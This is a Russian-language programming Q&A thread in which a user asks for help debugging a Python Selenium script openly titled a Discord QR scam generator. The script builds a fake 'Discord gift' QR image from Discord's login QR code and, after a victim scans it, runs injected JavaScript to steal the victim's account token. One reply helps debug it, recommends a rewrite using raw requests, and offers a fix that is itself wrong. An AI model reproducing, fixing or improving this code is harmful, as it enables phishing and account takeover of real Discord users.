0

Ошибка:

C:\Discord-QR-Scam-main\qr_generator.py:31: DeprecationWarning: executable_path has been deprecated, please pass in a Service object
  driver = webdriver.Chrome(options=options, executable_path=r'chromedriver.exe')
- Page loaded.
Traceback (most recent call last):
  File "C:\Discord-QR-Scam-main\qr_generator.py", line 85, in <module>
    main()
  File "C:\Discord-QR-Scam-main\qr_generator.py", line 42, in main
    qr_code = div.find('img')['src']
AttributeError: 'NoneType' object has no attribute 'find'

Код:

from bs4 import BeautifulSoup
from selenium import webdriver
from PIL import Image
import base64
import time
import os


def logo_qr():
    im1 = Image.open('temp/qr_code.png', 'r')
    im2 = Image.open('temp/overlay.png', 'r')
    im2_w, im2_h = im2.size
    im1.paste(im2, (60, 55))
    im1.save('temp/final_qr.png', quality=95)

def paste_template():
    im1 = Image.open('temp/template.png', 'r')
    im2 = Image.open('temp/final_qr.png', 'r')
    im1.paste(im2, (120, 409))
    im1.save('discord_gift.png', quality=95)

def main():
    print('github.com/Discord-QR-Scam\n')
    print('** QR Code Scam Generator **')

    options = webdriver.ChromeOptions()
    options.add_experimental_option('excludeSwitches', ['enable-logging'])
    options.add_experimental_option('detach', True)
    driver = webdriver.Chrome(options=options, executable_path=r'chromedriver.exe')

    driver.get('https://discord.com/login')
    time.sleep(5)
    print('- Page loaded.')

    page_source = driver.page_source

    soup = BeautifulSoup(page_source, features='lxml')

    div = soup.find('div', {'class': 'qrCode-wG6ZgU'})
    qr_code = div.find('img')['src']
    file = os.path.join(os.getcwd(), 'temp/qr_code.png')

    img_data =  base64.b64decode(qr_code.replace('data:image/png;base64,', ''))

    with open(file,'wb') as handler:
        handler.write(img_data)

    discord_login = driver.current_url
    logo_qr()
    paste_template()

    print('- QR Code has been generated. > discord_gift.png')
    print('Send the QR Code to user and scan. Waiting..')
    
    while True:
        if discord_login != driver.current_url:
            print('Grabbing token..')
            token = driver.execute_script('''

    var req = webpackJsonp.push([
        [], {
            extra_id: (e, t, r) => e.exports = r
        },
        [
            ["extra_id"]
        ]
    ]);
    for (let e in req.c)
        if (req.c.hasOwnProperty(e)) {
            let t = req.c[e].exports;
            if (t && t.__esModule && t.default)
                for (let e in t.default) "getToken" === e && (token = t.default.getToken())
        }
    return token;   
                ''')
            print('---')
            print('Token grabbed:',token)
            break

    print('Task complete.')

if __name__ == '__main__':
    main() 

C:\Discord-QR-Scam-main\qr_generator.py:31: DeprecationWarning: executable_path has been deprecated, please pass in a Service object
  driver = webdriver.Chrome(options=options, executable_path=r'chromedriver.exe')
- Page loaded.
Traceback (most recent call last):
  File "C:\Discord-QR-Scam-main\qr_generator.py", line 85, in <module>
    main()
  File "C:\Discord-QR-Scam-main\qr_generator.py", line 42, in main
    qr_code = div.find_all('img')['src']
  File "C:\Users\ASUS\AppData\Local\Programs\Python\Python310\lib\site-packages\bs4\element.py", line 2253, in __getattr__
    raise AttributeError(
AttributeError: ResultSet object has no attribute 'find_all'. You're probably treating a list of elements like a single element. Did you call find_all() when you meant to call find()?

1 ответ 1

0

советую всё же написать на POST/GET запросах, так он будет более эффективен. Ошибка возникает из-за того, что объект не имеет атрибута 'find', попробуй

div = soup.find('div', {'class': 'qrCode-wG6ZgU'})
qr_code = div.find('img')['src']

заменить на

div = soup.find_all('div', {'class': 'qrCode-wG6ZgU'})
qr_code = div.find_all('img')['src']
1
  • смотри что выдало
    – Ytrix
    Commented 16 февр. 2022 в 22:01

Ваш ответ

Нажимая «Отправить ответ», вы соглашаетесь с условиями пользования и подтверждаете, что прочитали политику конфиденциальности.

Всё ещё ищете ответ? Посмотрите другие вопросы с метками или задайте свой вопрос.